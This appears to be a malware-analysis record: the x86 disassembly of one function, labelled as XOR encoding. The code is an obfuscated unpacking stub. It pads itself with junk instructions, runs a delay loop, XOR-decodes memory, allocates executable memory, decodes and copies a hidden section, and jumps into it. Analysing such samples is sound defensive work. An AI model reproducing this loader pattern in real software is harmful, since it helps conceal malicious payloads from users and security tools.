Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x26ca568b
add esi, esi
sub edx, 0x5ccd3d
sub esi, 1
popal
mov edx, 0x2fdcd868
mov edx, 0x345b1294
mov eax, 0
mov ecx, edx
mov edi, 0xa8974dee
sub edi, esi
add edi, 0xcf537d3f
mov ebx, ecx
mov edi, esi
and edi, esi
mov edx, ebx
sub esi, 1
not edi
inc eax
inc esi
add esi, 0xecb102b9
cmp eax, 0x100225a
jne 0xa789d0
not esi
mov edi, esi
or esi, esi
add edx, edx
add esi, 1
mov edi, 0xa78796
dec ecx
add ecx, 0x83499c54
add ecx, 0x72cf3544
mov esi, 0xa7898a
not eax
add ecx, 0x6f560144
mov edx, dword [edi]
add eax, 0x2a8487b5
add ecx, 0x28fa6fc5
and edx, 0xff
add eax, 0x2b27c216
add eax, ecx
xor dword [esi], edx
inc ebx
mov ebx, 0x34763ace
inc eax
inc esi
sub ebx, 0x9cdca139
add ebx, ecx
mov eax, ebx
inc edi
mov eax, ecx
add eax, eax
sub ebx, 1
cmp esi, entry0
jl 0xa78a30
not ebx
add ecx, 0x1ad03d4c
mov eax, 0xc78ee198
dec eax
sub ecx, ebx
dec ecx
mov esi, ebx
add edi, ebx
add ebx, 0x26da9f34
mov edx, 0xa7898e
and ebx, ebx
mov edi, ebx
mov edx, dword [edx]
add edi, esi
mov ecx, 0xdf2a8e9f
mov edx, dword [edx]
sub edi, ebx
add esi, 0x6ebdfe98
or esi, ebx
push edx
mov ecx, ebx
sub edi, ecx
mov edx, 0xa7898a
mov edi, ebx
mov ecx, 0xec7e5fb0
mov edx, dword [edx]
add ebx, 0x98faf2d8
sub ebx, esi
sub ecx, 0xe1f2a236
mov edx, dword [edx]
mov ebx, edi
or ecx, esi
sub edi, 0xc321eedd
push 0xa78992
sub edi, 0xab02e6b9
sub edi, esi
add esi, 0x31431289
call edx
inc ecx
sub ebx, esi
pop edx
sub edi, esi
not edi
mov ebx, 0x85a550c6
sub esp, 4
mov dword [esp], 0xa7899f
mov ecx, esi
dec esi
not ebx
push eax
and esi, esi
mov edi, esi
and esi, esi
call edx
dec edi
add ecx, edi
and ebx, edi
push 0x40
sub edi, 0xf9782367
sub esi, 0x4c2384e0
or ecx, esi
push 0x3000
add ecx, 0x4e338d94
add edi, 1
sub esi, ebx
push 0x20000d15
mov esi, 0xffd62705
and edi, edi
push 0
sub ebx, edi
add esi, ebx
call eax
sub edi, ecx
add ecx, esi
mov esi, edi
add eax, 0x20000c89
and esi, edi
mov esi, edi
add esi, esi
mov edx, 0x2bbe75e1
and esi, edi
not ecx
sub esi, 1
mov dword [eax], edx
and ebx, ebx
add ecx, 0xd131d242
sub ebx, ecx
mov edx, dword [eax]
mov esi, 0x8c1916c8
and ebx, ecx
mov edi, ecx
cmp edx, 0x2bbe75e1
je 0xa78ba0
mov eax, 0
mov bl, byte [eax]
inc esi
and ecx, ecx
sub ebx, esi
mov ecx, 0x7341870c
mov edi, 0x7058e664
sub edi, 0xa5aa64ac
add esi, esi
add esi, esi
mov ecx, section..reltc
sub edx, esi
mov edx, 0x66975985
mov edi, 0xa78795
add edx, 0x9300684a
sub esi, edx
mov eax, 0
sub edx, 0x75653dc9
add edx, esi
mov ebx, 0xa78796
sub edx, esi
mov esi, edx
sub esi, edx
lea ebx, [eax + ebx]
add esi, 0x9db82115
not edx
mov ebx, dword [ebx]
not edx
dec esi
add edx, 1
and ebx, 0xff
not edx
or edx, esi
or esi, esi
inc eax
add esi, edx
mov esi, edx
cmp eax, 0x1f4
jne 0xa78c1e
mov eax, 0
inc edx
dec edx
mov edx, 0x8afc5a31
mov edx, 0xef4b6e40
add esi, edx
xor dword [ecx], ebx
mov esi, 0x5dda8ade
sub esi, 0xb27218dc
add ecx, 2
mov edx, esi
sub edx, esi
inc edx
cmp ecx, edi
jl 0xa78bdf
not esi
not edx
mov edx, esi
add edx, 0xf83670f3
sub esi, 0x931679f2
inc esi
mov ebx, section..reltc
and edi, edi
mov edi, eax
sub eax, edi
mov ecx, section..reltc
sub eax, 0x73bb8757
sub eax, 1
sub eax, 0x6f100fdf
mov esi, 0xa78795
mov edi, 0xcf09d5eb
add edi, 0xad20ef4e
mov edx, 0
inc eax
not eax
add eax, 0xec28874d
mov dl, byte [ecx]
add edi, eax
and edi, eax
mov byte [ebx], dl
sub eax, 0xe2b9412b
add edi, 0x615558c2
dec edi
inc ebx
mov eax, 0xf8fcaa26
add edi, edi
sub eax, 1
add ecx, 2
or edi, edi
dec edi
cmp ecx, esi
jle 0xa78c9f
add eax, 0x53e01a2
add edi, 0x2b2b5f7d
sub esi, edx
add esi, 0xaccc9c18
mov edx, esi
push 0x8dc6a0
add esi, esi
not edx
ret